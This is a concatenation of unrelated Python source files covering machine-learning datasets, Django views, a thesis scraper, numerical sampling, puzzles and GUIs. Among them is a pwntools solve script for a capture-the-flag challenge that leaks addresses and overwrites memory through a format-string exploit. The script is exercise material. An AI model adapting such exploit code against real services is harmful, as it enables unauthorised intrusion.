            ds_features_r50 = [X2_prev, X2]
            #X1, X2, y = batch
            #y = y.item()
            #if y > stop_label:
            #    break
            #if y % 2 == 0 and y != 0 and not first_even_id:
                #first_even_id = True
                # Take min size
            ds_features_list = [ds_features_r18, ds_features_r50]
            min_len = min([len(ds_features_list[0][0]), len(ds_features_list[0][1]),max_interp_num])
            max_len = max([len(ds_features_list[0][0]), len(ds_features_list[0][1])])
            if max_len<min_interp_num:

                break
            label_list += [current_label] * min_len
            current_label = current_label + 1

            for i_ds, ds_features in enumerate(ds_features_list):

                ds_features_label_even = ds_features[0][:min_len]
                ds_features_label_odd = ds_features[1][:min_len]
                ds_features_interpolated = (ds_features_label_even + ds_features_label_odd) / 2
                ds_interpolate = ds_interpolated_lists[i_ds]
                ds_interpolated_lists[i_ds] = torch.vstack((ds_interpolate, ds_features_interpolated))

                if ds_interpolated_lists[i_ds].shape[0] >= pkl_batch_size:
                    new_pkl_features = ds_interpolated_lists[i_ds][:pkl_batch_size, :]
                    idx_tensor = torch.tensor(list(range(n_images, n_images + pkl_batch_size)))
                    label_tensor = torch.tensor(label_list[:pkl_batch_size])

                    temp_tensor = torch.hstack((torch.unsqueeze(idx_tensor, dim=1),
                                                torch.unsqueeze(label_tensor, dim=1),
                                                new_pkl_features))

                    pkl_batch = os.path.join(paths[i_ds], str(pkl_file_i) + '.pkl')
                    with open(pkl_batch, 'wb') as file:
                        pickle.dump(temp_tensor, file)

                    ds_interpolated_lists[i_ds] = ds_interpolated_lists[i_ds][pkl_batch_size:, :]
                    if i_ds == 1:
                        print("Dumped ", pkl_batch)
                        label_list = label_list[pkl_batch_size:]
                        n_images = n_images + pkl_batch_size
                        pkl_file_i = pkl_file_i + 1
                        interpolated_cnt += pkl_batch_size

                # ds_features_r18 = [[], []]
                # ds_features_r50 = [[], []]
            #elif y % 2 != 0:
            #    first_even_id = False

            # ds_features_r18[y % 2].append(X1)
            # ds_features_r50[y % 2].append(X2)

    set.n_records = len(set) + (interpolated_cnt//interpolated_div)
    set.ds1.max_idx_offset = max_idx_offset
    set.ds2.max_idx_offset = max_idx_offset
    set.ds1.max_idx = max_idx
    set.ds2.max_idx = max_idx

    set_interpolated_data.n_records = interpolated_cnt // interpolated_div
    set_interpolated_data.ds1.max_idx_offset = len(full_dataset)
    set_interpolated_data.ds2.max_idx_offset = len(full_dataset)
    set_interpolated_data.ds1.max_idx = -1
    set_interpolated_data.ds2.max_idx = -1

    print("n_records", str(set.n_records), "interpolated count", str(interpolated_cnt), "Max Idx", str(max_idx))
    return set,set_interpolated_data

class PklEmbeddingsDataset(Dataset):
    """
    A dataset representing embedded vectors of face recognition
    """

    def __init__(self, pkl_dir_path1, pkl_dir_path2):
        """
        :param pkl_dir_path1:
        :param pkl_dir_path2:
        """
        super().__init__()
        self.ds1 = PklDataset(pkl_dir_path1)
        self.ds2 = PklDataset(pkl_dir_path2)

        self.n_records = len(self.ds2)
        self.classes = self.ds2.classes

    def __getitem__(self, index: int) -> Tuple[Tensor, Tensor]:
        image1, label1, idx1 = self.ds1[index]
        image2, label2, idx2 = self.ds2[index]
        assert idx1 == idx2
        assert label1 == label2
        return image1, image2, label1
        # return next(self.iterator)

    def __len__(self):
        """
        :return: Number of samples in this dataset.
        """

        return self.n_records
        # ========================

class PklDataset(Dataset):
    """
    A dataset representing embedded vectors of face recognition
    """

    def __init__(self, pkl_dir_path, infer_classes_and_n_records=False):
        """
        :param pklFilePath:

        """
        super().__init__()
        print("Loading pkl dataset: " + pkl_dir_path)
        self.pkl_dir_path = pkl_dir_path
        with open(os.path.join(pkl_dir_path, 'metadata.pkl'), 'rb') as pkl_metadata:
            metadata_dict = pickle.load(pkl_metadata)
            self.n_records = metadata_dict["n_images"]
            self.classes = metadata_dict["classes"]
            self.dataset_batch_size = metadata_dict["batch_size"]
        self.files = [None] * (self.n_records // self.dataset_batch_size)
        self.max_idx_offset = 0
        self.index_offset = 0
        self.max_idx = -1
        if infer_classes_and_n_records:
            self._infer_classes_and_n_records()
        # self.iterator = self._get_image()

    def _infer_classes_and_n_records(self):
        labels_set = set()
        n_records = 0
        raw_data = self._load_batch(return_on_failure=True)
        while raw_data is not None:
            n_records += raw_data.shape[0]
            labels_set.update(raw_data[:, 0].cpu().detach().tolist())
            raw_data = self._load_batch(return_on_failure=True)
        self.n_records = n_records
        self.classes = [int(item) for item in labels_set]

    def __getitem__(self, index: int) -> Tuple[Tensor, int, int]:
        index += self.index_offset

        if index > self.max_idx:
            index += self.max_idx_offset
        # i_batch = offset + index // self.dataset_batch_size
        i_batch = index // self.dataset_batch_size
        offset = index % self.dataset_batch_size
        batch_path = os.path.join(self.pkl_dir_path, str(i_batch) + '.pkl')
        # if self.files[i_batch] is None:
        # self.files[i_batch] = open(batch_path, 'rb')
        f = open(batch_path, 'rb')
        batch = pickle.load(f)
        idx = int(batch[offset, 0].item())
        label = int(batch[offset, 1].item())
        image = batch[offset, 2:]
        return image, label, idx
        # return next(self.iterator)

    def _get_image(self) -> Tuple[Tensor, int]:
        while True:
            raw_data = self._load_batch()
            for feature_tensor in raw_data:
                label = int(feature_tensor[0].item())
                image = feature_tensor[1:]
                yield image, label

    def _load_batch(self, return_on_failure=False):

        try:
            raw_data = pickle.load(self.pkl_file)
        except EOFError:
            if return_on_failure:
                return None
            # print("Reopening pkl file...")
            self.pkl_file.close()
            self.pkl_file = open(self.pkl_file_path, 'rb')
            nRecords = pickle.load(self.pkl_file)
            classes = pickle.load(self.pkl_file)
            raw_data = pickle.load(self.pkl_file)
        return raw_data

    def __len__(self):
        """
        :return: Number of samples in this dataset.
        """

        return self.n_records
        # ========================

#
# class ImageStreamDataset(IterableDataset):
#     """
#     A dataset representing an infinite stream of noise images of specified dimensions.
#     """
#
#     def __init__(self, num_classes: int, C: int, W: int, H: int):
#         """
#         :param num_classes: Number of classes (labels)
#         :param C: Number of channels per image
#         :param W: Image width
#         :param H: Image height
#         """
#         super().__init__()
#         self.num_classes = num_classes
#         self.image_dim = (C, W, H)
#
#     def __iter__(self) -> Iterator[Tuple[Tensor, int]]:
#         """
#         :return: An iterator providing an infinite stream of random labelled images.
#         """
#
#         while True:
#             # Generate infinite images as requested and yield each time
#             yield random_labelled_image(self.image_dim, self.num_classes)
#         # ========================
#


'''
Urls module
'''

from django.urls import path

from post.views import post as post_views
from post.views import comment as comment_views

app_name='post'

urlpatterns = [
    path(r'', post_views.HomeView.as_view(),
        name='index'),
    path(r'new', post_views.PostView.as_view(),
        name='new'),
    path(r'edit/(?P<id>\d+)/$', post_views.EditPostVIew.as_view(),
        name='edit'),
    path(r'delete/(?P<id>\d+)/$', post_views.DeletePostView.as_view(),
        name='delete'),
    path(r'list/(?P<id>\d+)/$', comment_views.CommentListView.as_view(),
        name='list'),

]


import pygame
img = pygame.image.load("balloons.jpg")
pygame.display.init()
disp = pygame.display.set_mode((img.get_width(), img.get_height()*2))
halfWidth = int(img.get_width() / 2)
height = img.get_height()
for y in range(img.get_height()):
    for x in range(halfWidth):
        c1 = img.get_at((x, y))
        c2 = img.get_at((x+halfWidth, y))
        disp.set_at((x, y), c1-c2)
        disp.set_at((x+halfWidth, y), c2-c1)
        disp.set_at((x, y+height), c1)
        disp.set_at((x+halfWidth, y+height), c2)
pygame.display.flip()
pygame.time.delay(15000)
pygame.display.quit()


# Authors: Gonçalo Marques; Ricardo Vieira
# Latest change: 29/01/2022

from django.http import HttpResponseRedirect
from django.shortcuts import render
from django.urls import reverse
from . import helpers
from .consts import (
    TEMPLATE_CARS,
    TEMPLATE_ERROR,
    TEMPLATE_MY_CARS,
    URL_INDEX,
    URL_MY_CARS,
)

# new cars view
def newCars(request):
    # get the list of cars not sold
    response = helpers.get("carsNotSold/", request.COOKIES)
    if response.status_code != 200:
        return render(request, TEMPLATE_ERROR, response.json())

    # transform the response to json object
    tempCars = response.json()

    # get all new cars
    cars = []
    for car in tempCars:
        # checks if the car is new
        if car["new"] == True:
            cars.append(car)

    context = {
        "title": "New Cars",
        "client": helpers.get_client_or_none(request),
        "cars": cars,
    }
    return render(request, TEMPLATE_CARS, context)

# used cars view
def usedCars(request):
    # get the list of cars not sold
    response = helpers.get("carsNotSold/", request.COOKIES)
    if response.status_code != 200:
        return render(request, TEMPLATE_ERROR, response.json())

    # transform the response to json object
    tempCars = response.json()

    # get all used cars
    cars = []
    for car in tempCars:
        # checks if the car is not new
        if car["new"] == False:
            cars.append(car)

    context = {
        "title": "Used Cars",
        "client": helpers.get_client_or_none(request),
        "cars": cars,
    }
    return render(request, TEMPLATE_CARS, context)

# client cars view
def myCars(request):
    client = helpers.get_client_or_none(request)
    cars = None

    if client != None:
        # get cars by client
        clientID = client.get("id", None)
        response = helpers.get(f"carsByClient/{clientID}/", request.COOKIES)
        if response.status_code != 200:
            return render(request, TEMPLATE_ERROR, response.json())

        # transform the response to json object
        cars = response.json()

    context = {
        "client": client,
        "cars": cars,
    }
    return render(request, TEMPLATE_MY_CARS, context)

# view to buy a car
def buyCar(request, pkCar):
    client = helpers.get_client_or_none(request)
    clientID = client.get("id", None)

    response = helpers.get(f"buyCar/{pkCar}/{clientID}/", request.COOKIES)
    if response.status_code != 200:
        return render(request, TEMPLATE_ERROR, response.json())

    return HttpResponseRedirect(reverse(URL_INDEX))

# view to sell a car
def sellCar(request, pkCar):
    response = helpers.get(f"sellCar/{pkCar}/", request.COOKIES)
    if response.status_code != 200:
        return render(request, TEMPLATE_ERROR, response.json())

    return HttpResponseRedirect(reverse(URL_MY_CARS))


import pyximport
pyximport.install(reload_support=True)

import truncnormal
import cProfile
from timeit import default_timer as timer
from scipy.stats import truncnorm
import numpy as np
import scipy.special as cs
import matplotlib.pyplot as plt
import math

from importlib import reload
reload(truncnormal)

# =============================================================================
# import importlib
# importlib.reload('truncnormal')
# =============================================================================

def tuncnormal(loc, a,  b, scale, size):

    z = np.zeros(size)

    for idx in range(size):

        a_norm = (a[idx] - loc[idx]) / scale
        b_norm = (b[idx] - loc[idx]) / scale

        # Inverse Transformation Sampling
        if (b_norm - a_norm >= 1) and (not (a_norm < -4 and b_norm < -4)) and (not (a_norm > 4 and b_norm > 4)):
            u = np.random.uniform(size = 1, low = cs.ndtr(a_norm), high = cs.ndtr(b_norm))[0]
            z_norm = cs.ndtri(u)
            z[idx] = z_norm * scale + loc[idx]

        # Uniform Proposal Rejection Sampling
        elif b_norm - a_norm < 1:
            if b_norm * a_norm < 0:
                m = 1 / np.sqrt(2 * math.pi)
            else:
                m = np.maximum(1/np.sqrt(2 * math.pi) * np.exp(-0.5 * (a_norm) ** 2), 1/np.sqrt(2 * math.pi) * np.exp(-0.5 * (b_norm) ** 2))

            p = 0
            while p < 1:

                u = np.random.uniform(size = 1, low = a_norm, high = b_norm)[0]
                v = np.random.uniform(size = 1, low = 0, high = 1)[0]

                if v < (1/np.sqrt(2 * math.pi) * np.exp(-0.5 * (u) ** 2)) / m:
                    z[idx] =  u * scale + loc[idx]
                    p = 1

        # Rayleigh Proposal Rejection Sampling
        else:
            flag = 0

            if b_norm < 0:
                # Note the flip of relationship when times -1
                a_norm = (b[idx] - loc[idx]) / scale * (-1)
                b_norm = (a[idx] - loc[idx]) / scale * (-1)
                flag = 1

            c = a_norm ** 2 / 2
            q = 1 - np.exp(c - (b_norm ** 2 / 2))

            p = 0
            while p < 1:

                u = np.random.uniform(size = 1, low = 0, high = 1)[0]
                v = np.random.uniform(size = 1, low = 0, high = 1)[0]
                z_norm = c - np.log(1 - q * u)

                if z_norm * v ** 2 <= a_norm:
                    if flag == 1:
                        z[idx] = (scale * (np.sqrt(2 * z_norm)) - loc[idx]) * (-1)
                    else:
                        z[idx] = scale * (np.sqrt(2 * z_norm)) + loc[idx]
                    p = 1

    return z

mu = np.full(100000,0)
a = np.full(100000, -np.inf)
b = np.full(100000, 3)

start = timer()
sample = ct.tuncnormal(mu, a, b, 1, len(mu))
end = timer()
print(end - start)

_ = np.linspace(-10, b[0]+0.5, 100000)
t = truncnorm.pdf(_, a = a[0], b = b[0])
plt.plot(_, t)
plt.hist(sample, density = True, bins = 20)
plt.show()

tuncnormal(theta_single[one_mask],
            np.full(sum(one_mask.flatten()), -np.inf),
            alpha_R[one_mask],
            1,
            sum(one_mask.flatten()))


# 次元圧縮
# 二次元累積和?

W, H = map(int, input().split())
N = int(input())
berry = []
xl = []
yl = []
for n in range(N):
    p, q = map(int, input().split())
    berry.append((p, q, n))
    xl.append((p, n+1))
    yl.append((q, n+1))

A_num = int(input())
A = list(map(int, input().split()))
B_num = int(input())
B = list(map(int, input().split()))

'''
for a in A:
    xl.append(a)
for b in B:
    yl.append(b)

Xdict = {x:i+1 for i,x in enumerate(sorted(list(set(xl))))}
Ydict = {y:i+1 for i,y in enumerate(sorted(list(set(yl))))}

for p, q in berry:
    print(Xdict[p], Ydict[q])

print([Xdict[x] for x in A])
print([Ydict[y] for y in B])
'''

for b in B:
    yl.append((b, 0))
yl = sorted(yl, key=lambda x:x[1])
yl = sorted(yl, key=lambda x:x[0])

y_by2boxid = [-1] * (N+1)
box_id = 0
for y, i in yl:
    if i == 0:
        box_id += 1
    else:
        y_by2boxid[i] = box_id

for a in A:
    xl.append((a, 0))
xl = sorted(xl, key=lambda x:x[1])
xl = sorted(xl, key=lambda x:x[0])
#print(xl)

x_by2boxid =[-1] * (N+1)
box_id = 0
for x, i in xl:
    if i == 0:
        box_id += 1
    else:
        x_by2boxid[i] = box_id

#print(x_by2boxid)
#print(y_by2boxid)

cake = {}
for n in range(1, N+1):
    xp = x_by2boxid[n]
    yp = y_by2boxid[n]
    if xp*(N+1) + yp not in cake:
        cake[xp*(N+1) + yp] = 1
    else:
        cake[xp*(N+1) + yp] += 1

min_ans = 0
if len(cake) == (A_num+1) * (B_num+1):
    min_ans = min(cake.values())
print(min_ans, max(cake.values()))
#print(cake)


# -*- coding: utf-8 -*-
#harvest theses from EPFL
#FS: 2019-10-28

import sys
import os
import urllib.request, urllib.error, urllib.parse
from bs4 import BeautifulSoup
import re
import ejlmod3
import time

insttoskip = ['CDH', 'CDM', 'SV', 'SB/ISIC', 'SB/CIBM', 'STI/IBI-STI', 'STI/IMX/LMC', 'STI/IMX/SMAL',
              'IC/IINFCOM/CHILI', 'ENAC']
reharvest = False

#check already harvested
ejldirs = ['/afs/desy.de/user/l/library/dok/ejl/backup',
           '/afs/desy.de/user/l/library/dok/ejl/backup/%i' % (ejlmod3.year(backwards=1)),
           '/afs/desy.de/user/l/library/dok/ejl/backup/%i' % (ejlmod3.year(backwards=2))]
redoki = re.compile('THESES.EPFL.*doki$')
rehttp = re.compile('^I\-\-(http.*\d).*')
bereitsin = []
for ejldir in ejldirs:
    #print(ejldir)
    for datei in os.listdir(ejldir):
        if redoki.search(datei):
            inf = open(os.path.join(ejldir, datei), 'r')
            for line in inf.readlines():
                if len(line) > 1 and line[0] == 'I':
                    if rehttp.search(line):
                        http = rehttp.sub(r'\1', line.strip())
                        if not http in bereitsin:
                            bereitsin.append(http)
            #print('  %6i %s' % (len(bereitsin), datei))

publisher = 'Ecole Polytechnique, Lausanne'
hdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
       'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
       'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
       'Accept-Encoding': 'none',
       'Accept-Language': 'en-US,en;q=0.8',
       'Connection': 'keep-alive'}
recs = {}
for year in [ejlmod3.year(), ejlmod3.year(backwards=1)]:
    prerecs = []
    tocurl = 'https://infoscience.epfl.ch/search?ln=en&cc=Infoscience%2FResearch%2FThesis&p=&f=&rm=&ln=en&sf=year&so=d&rg=500&c=Infoscience%2FResearch%2FThesis&c=&of=hb&fct__3=' + '%i' % (year)
    ejlmod3.printprogress('=', [[year], [tocurl]])
    req = urllib.request.Request(tocurl, headers=hdr)
    tocpage = BeautifulSoup(urllib.request.urlopen(req), features="lxml")
    time.sleep(30)
    for div in tocpage.body.find_all('div', attrs = {'class' : 'result-title'}):
        for a in div.find_all('a'):
            rec = {'tc' : 'T', 'jnl' : 'BOOK', 'year' : str(year), 'keyw' : [], 'inst' : '', 'date' : str(year), 'supervisor' : [], 'note' : []}
            rec['artlink'] = 'https://infoscience.epfl.ch' + a['href']
            rec['tit'] = a.text.strip()
            if ejlmod3.checkinterestingDOI(rec['artlink']):
                if reharvest or not rec['artlink'] in bereitsin:
                    prerecs.append(rec)

    j = 0
    for rec in prerecs:
        keepit = True
        j += 1
        recsstat = [len(recs[inst]) for inst in recs]
        ejlmod3.printprogress('-', [[year], [j, len(prerecs)], [rec['artlink']], recsstat, [sum(recsstat)]])
        try:
            req = urllib.request.Request(rec['artlink'])
            artpage = BeautifulSoup(urllib.request.urlopen(req), features="lxml")
            time.sleep(10)
        except:
            print('wait 10 minutes')
            time.sleep(600)
            req = urllib.request.Request(rec['artlink'])
            artpage = BeautifulSoup(urllib.request.urlopen(req), features="lxml")
            time.sleep(30)
        ejlmod3.metatagcheck(rec, artpage, ['citation_author', 'description', 'citation_keywords', 'citation_doi', 'citation_pdf_url'])
        rec['autaff'][-1].append('Ecole Polytechnique, Lausanne')
        for a in artpage.body.find_all('a'):
            if a.has_attr('href'):
                if re.search('\/collection\/Infoscience\/Research\/[A-Z]', a['href']):
                    inst = re.sub('.*Research\/(.*)\?.*', r'\1', a['href'])
                    if inst != 'Thesis':
                        #print(' . ', inst)
                        if inst in insttoskip:
                            keepit = False
                        elif inst in ['SB/Mathematics', 'SB/MATH']:
                            rec['fc'] = 'm'
                        elif inst in ['SB/IPHYS/C3MP', 'SB/IPHYS/CTMC']:
                            rec['fc'] = 'f'
                        elif inst in ['SB/IPHYS/LASTRO', 'SB/IPHYS/LPPC']:
                            rec['fc'] = 'a'
                        elif inst in ['SB/IPHYS/LQM', 'SB/IPHYS/LQP']:
                            rec['fc'] = 'k'
                        elif inst in ['IC']:
                            rec['fc'] = 'c'
                        if len(inst) > len(rec['inst']):
                            rec['inst'] = inst
                            rec['note'] = [ inst ]
        rec['inst'] = re.sub('\/.*', '', rec['inst'])
        for div in artpage.body.find_all('div', attrs = {'class' : 'metadata-row'}):
            for span in div.find_all('span', attrs = {'class' : 'title'}):
                title = span.text.strip()
            for span in div.find_all('span', attrs = {'class' : 'value'}):
                #pages
                if title == 'Pagination':
                    if re.search('^\d+$', span.text.strip()):
                        rec['pages'] = span.text.strip()
                #supervisor
                elif title == 'Advisor(s)':
                    for a in span.find_all('a'):
                        rec['supervisor'].append([a.text])
        if keepit:
            if rec['inst'] in recs:
                recs[rec['inst']].append(rec)
            else:
                recs[rec['inst']] = [rec]
            rec['note'].append(rec['artlink'])
            ejlmod3.printrecsummary(rec)
        else:
            #print('skip thesis from %s' % (rec['inst']))
            ejlmod3.adduninterestingDOI(rec['artlink'])

for inst in list(recs.keys()):
    jnlfilename = 'THESES-EPFL-%s_%s' % (ejlmod3.stampoftoday(), inst)
    ejlmod3.writenewXML(recs[inst], publisher, jnlfilename)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
HOST = "0.cloud.chals.io"
PORT = 34916
CHALL_BIN = "./starwars_galaxies2"
context.log_level = "DEBUG"
gs = '''
b view_player
c
'''
context.binary = ELF(CHALL_BIN, checksec=False)
elf = context.binary

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.LOCAL:
        return process([elf.path])
    else:
        return gdb.debug([elf.path], gdbscript=gs)

def create(name, id_):
    io.sendline("0")
    io.sendlineafter("name: ", name)
    io.sendlineafter("number: ", str(id_))
    io.sendlineafter("class: ", str(0))

def fsb(payload, id_=0):
    create(payload, id_)
    io.sendline("2")
    io.recv()

def exploit():
    create("%7$p,%25$p", 0)
    io.recv()
    io.sendline("2")
    leak = io.recvuntil(",")[0:-1]
    player = int(leak, 16)
    leak = io.recvline()[0:-1]
    boss = int(leak, 16)
    print("player: ", hex(player))
    print("boss: ", hex(boss))

    payload = fmtstr_payload(8, {boss:0x61}, numbwritten=0, write_size="short")
    fsb(payload)
    payload = fmtstr_payload(8, {player+0x82:0xffff}, numbwritten=0, write_size="short")
    fsb(payload, 0xfc18)
    io.sendline("1")

io = start()
exploit()
io.interactive()

Space heroes CTF/Star Wars Galaxies 2/solve.py


#!/usr/bin/env python

import tyrell.spec as S
from tyrell.interpreter import PostOrderInterpreter
from tyrell.enumerator import SmtEnumerator
from tyrell.decider import Example, ExampleConstraintDecider
from tyrell.synthesizer import Synthesizer
from tyrell.logger import get_logger

logger = get_logger('tyrell')

class ToyInterpreter(PostOrderInterpreter):

    def eval_const(self, node, args):
        return args[0]

    def eval_plus(self, node, args):
        return args[0] + args[1]

def main():
    logger.info('Parsing Spec...')
    spec = S.parse_file('example/simplestring.tyrell')
    logger.info('Parsing succeeded')

    logger.info('Building synthesizer...')
    synthesizer = Synthesizer(
        # enumerator=SmtEnumerator(spec, depth=3, loc=1), # plus(@param1, @param0) / plus(@param0, @param1)
        enumerator=SmtEnumerator(spec, depth=4, loc=3), # plus(plus(@param0, const(_apple_)), @param1)
        decider=ExampleConstraintDecider(
            spec=spec,
            interpreter=ToyInterpreter(),
            examples=[
                # Example(input=["a", "b"], output="ab"), # plus(@param0, @param1)
                # Example(input=["b", "a"], output="ab"), # plus(@param1, @param0)
                Example(input=["a", "b"], output="a_apple_b"),
            ],
        )
    )
    logger.info('Synthesizing programs...')

    prog = synthesizer.synthesize()
    if prog is not None:
        logger.info('Solution found: {}'.format(prog))
    else:
        logger.info('Solution not found!')

if __name__ == '__main__':
    logger.setLevel('DEBUG')
    main()


import sys
import os.path

Import('*')

if 'raw' in env['statetrackers']:

    env = env.Clone()

    env.Append(CPPPATH = '.')
#    env.Append(CFLAGS = ['-DCS_DEBUG'])

    rawst = env.ConvenienceLibrary(
        target = 'rawst',
        source = [
	    'st_public.c',
        ],
    )

    Export('rawst')


import asyncio
import re
import time

class WebsocketResource:

    @staticmethod
    async def get_message_from_websocket(websocket, timeout) -> str | None:
        try:
            message = await asyncio.wait_for(websocket.recv(), timeout=timeout)
            return message
        except asyncio.TimeoutError:
            return None

    async def run_websocket_message_catcher(self, websocket, expected_message_count: int) -> dict:
        execution_times = dict()
        for i in range(expected_message_count):
            text = await self.get_message_from_websocket(websocket, 5)
            if text:
                order_id = re.search(r"\d+", text).group()
                print("INFO: ", text, order_id)
                if order_id not in execution_times:
                    execution_times[order_id] = time.time()
                else:
                    execution_times[order_id] = round(time.time() - execution_times[order_id], 5)

        print(f"INFO: Execution times - {execution_times}")
        return execution_times


#!/usr/bin/env python3

# 给定一个正整数n， 求解出所有和为n的整数组合， 要求组合按照递增的方式展示，而且唯一，例如： 4=1+1+1+1，4=1+1+2

def get_all_combination(sums, result, count):
    if sums < 0:
        return

    if sums == 0:
        print("满足条件的组合...")
        i = 0
        while i < count:
            print(result[i])
            i += 1

    i = (1 if count == 0 else result[count-1])

    while i <= sums:
        result[count] = i
        count += 1
        get_all_combination(sums - i, result, count)
        count -= 1
        i += 1

def show_all(n):
    if n <1:
        print("参数不满足要")
        return
    result = [0] * n
    get_all_combination(n, result, 0)

if __name__ == '__main__':
    show_all(6)


from tkinter import *
from  tkinter import ttk
#from tkinter import messagebox
def myfun():
    #massage box
    #messagebox.showinfo('Hello Message','It is My Message')
    discount = int(spn.get())
    subject = 0
    if(ch1.get()):
        subject += 1
    if(ch2.get()):
        subject += 1
    if(ch3.get()):
        subject += 1

    if(opt.get() == 1):
        subject = subject * 300
        if (cmb.get() == 'Sir Ali'):
            subject = subject + 500
        if (cmb.get() == 'Sir Raza'):
            subject = subject + 1000
        if (cmb.get() == 'Sir Allahdad'):
            subject = subject + 1500
        if(spn.get()):
            subject -= subject * discount/100
        lbl.configure(text=f'Total Fees = {subject}')
    if(opt.get() == 2):
        subject = subject * 500
        if (cmb.get() == 'Sir Ali'):
            subject += 500
        if (cmb.get() == 'Sir Raza'):
            subject += 1000
        if (cmb.get() == 'Sir Allahdad'):
            subject += 1500
        if (spn.get()):
            subject -= subject * discount / 100
        lbl.configure(text=f'Total Fees = {subject}')

win = Tk()
win.geometry('600x400')

# MainManu = Menu()
# New_project = Menu ()
# New_project.add_command(Label='New_project',command=myfun)
# MainManu.add_cascade(label='File',menu=New_project)
# win.config(menu=MainManu)

#drop down or combobox
lst = ['Sir Ali','Sir Raza','Sir Allahdad']
cmb = ttk.Combobox(value = lst,stat ='readonly' )
cmb.place(x=10,y=100)

#
spn=Spinbox(from_=1,to=15,stat ='readonly')
spn.place(x=10,y=150)

lbl =Label(text='Total Fees',font=('Arial',20))
lbl.place(x=10,y=200)

# Check Box
ch1 = BooleanVar()
ch2 = BooleanVar()
ch3 = BooleanVar()
chk1 = Checkbutton(text='Java', var = ch1)
chk1.place(x=10,y=10)
chk2 = Checkbutton(text='Python', var = ch2)
chk2.place(x=100,y=10)
chk3 = Checkbutton(text='Flutter', var = ch3)
chk3.place(x=200,y=10)

#Radio Button
opt =IntVar()
rad1 = Radiobutton(text='Morning',value=1,variable= opt)
rad1.place(x=10,y=50)
rad2 = Radiobutton(text='Evening',value=2,variable= opt)
rad2.place(x=100,y=50)

tab_obj= ttk.Notebook(width=200,height=150)
tab1 = ttk.Frame()
tab_obj.add(tab1,text='my Tab1')

tab2 = ttk.Frame()
tab_obj.add(tab2,text='my Tab2')

tab_obj.place(x=300,y=100)
lbl1 =Label(tab1,text='Muhammad Ali',font=('Arial',20),foreground='red',background='Yellow')
lbl1.place(x=10,y=10)

lbl1 =Label(tab2,text='Muzammil Ali',font=('Arial',20),foreground='red',background='green')
lbl1.place(x=10,y=10)

btn = Button(text='Submit',
       font=('Arial',20),
       foreground='black',
       background='Yellow',
       command=myfun
             )
btn.place(x=100,y=300)

win.mainloop()


from Linked_List import Linked_List

def Josephus(ll):
  while len(ll) > 1:
    ll.rotate_left()
    ll.remove_element_at(0)
    print(ll)
  print("The survivior is: " + str(ll.get_element_at(0)))

if __name__ == '__main__':
  ll = Linked_List()
  n = int(input("Input the total number of people: "))
  for i in range(1, n+1):
      ll.append_element(i)
  print("Initial order:", ll)
  Josephus(ll)


# import libraries

class glob_vars:

    def __init__(self, par):

        #self.t = 0 #time step of the simulation

        self.brown = par.init_brown
        self.brown_ts = []
        self.n_players_ts = []

        self.ts_black = [par.init_black * par.n_players]
        self.ts_green = [par.init_green * par.n_players]
        self.ts_red = [par.init_red * par.n_players]

        self.end_flag = True
        self.turn = 0

    def compute_globals(self, al, par):

        self.brown_ts.append(self.brown)
        self.n_players_ts.append(len(al.agents_list))
        self.turn += 1

        new_black, new_green, new_red = 0,0,0
        for a in al.agents_list:
            new_green += a.green
            new_black += a.black
            new_red += a.red

        self.ts_black.append(new_black / len(al.agents_list))
        self.ts_green.append(new_green / len(al.agents_list))
        self.ts_red.append(new_red / len(al.agents_list))

        if self.turn == par.max_turn: self.end_flag = False

    def brown_computing(self, par, gv, al):

        remove_browns_black = par.brown_per_black * sum([ag.black for ag in al.agents_list])
        remove_browns_red = par.brown_per_red * sum([ag.red for ag in al.agents_list])

        self.brown -= ( remove_browns_black + remove_browns_red)
        if self.brown <= 0:
            self.end_flag = False
            self.brown = 0 #for plots

def agent_death(par, gv, al):

    ag_death = [ag for ag in al.agents_list if ag.green + ag.black == 0]
    if any(ag_death):
        for ag in ag_death:
            al.agents_list.remove(ag)
            ag.survived = 0
            for n in ag.neighbors:
                # remove dying agent from the network of the neighbor
                n.neighbors.remove(ag)

                def_agent = ag.last_defeated_by
                # if not present, add defeating agent in the network of the neighbor
                if def_agent not in n.neighbors:
                    n.neighbors.append(ag.last_defeated_by)
                # if not present, add neighbor in the network of the defeated agent
                if n not in def_agent.neighbors:
                    def_agent.neighbors.append(n)

        # if population of a single agent, finish the simulation
        if len(al.agents_list) < 2: gv.end_flag = False

def adjust_globals(par, gv, al):

    gv.brown = par.init_brown
    par.max_brown = 2 * par.init_brown

class agents_list:
    def __init__(self):

        self.agents_list = []
        self.original_list = []
        #insert list initialized with []


import threadpool
from collections import deque
from timeit import default_timer as timer

# Function for workers to run
def f(queue, x):
    queue.append(x)

if __name__ == '__main__':
    WORKER_CNT = 10
    RUN_CNT = 10000

    # Construct thread pool with specified workers
    pool = threadpool.ThreadPool(WORKER_CNT)

    # Construct queue to store values in
    q = deque(maxlen=RUN_CNT)

    # Start feeding workers tasks
    start = timer()

    for i in range(RUN_CNT):
        pool.add_task(f, q, i)

    end = timer()

    # Wait
    pool.wait_completion()

    # Check accuracy
    for i in range(RUN_CNT):
        # Make sure all numbers made it into q
        # i.e. all tasks completed successfully
        if i not in q:
            print('%d missing from queue' % (i))
            exit(1)

    print('Tasks completed successfully!')
    print('Elapsed Task Time: %.6f' % (end - start))


"""
This module contains data types related to I/O drawer types.
"""

import os

class DrawerType:
    """
    Represents an I/O drawer type.
    """

    def __init__(self, name: str, header_file_name: str, string_file_name: str,
                 user_data_version: int):
        """
        Constructor.
        """

        self.name = name
        self.header_file_name = header_file_name
        self.string_file_name = string_file_name
        self.user_data_version = user_data_version

    def get_header_file_path(self) -> str:
        """
        Returns the path to the C++ header file that contains ilog and history
        log definitions.
        """

        return os.path.join(os.path.dirname(__file__), self.header_file_name)

    def get_trace_string_file_path(self) -> str:
        """
        Returns the path to the file that contains the trace strings.
        """

        return os.path.join(os.path.dirname(__file__), self.string_file_name)

"""
Supported I/O drawer types.
"""
MEX_DRAWER_TYPE = DrawerType('mex', 'mex_pte.h', 'mexStringFile', 1)
NIMITZ_DRAWER_TYPE = DrawerType('nimitz', 'nimitz_pte.h', 'nimitzStringFile', 2)
DRAWER_TYPES = [ MEX_DRAWER_TYPE, NIMITZ_DRAWER_TYPE ]


import logging
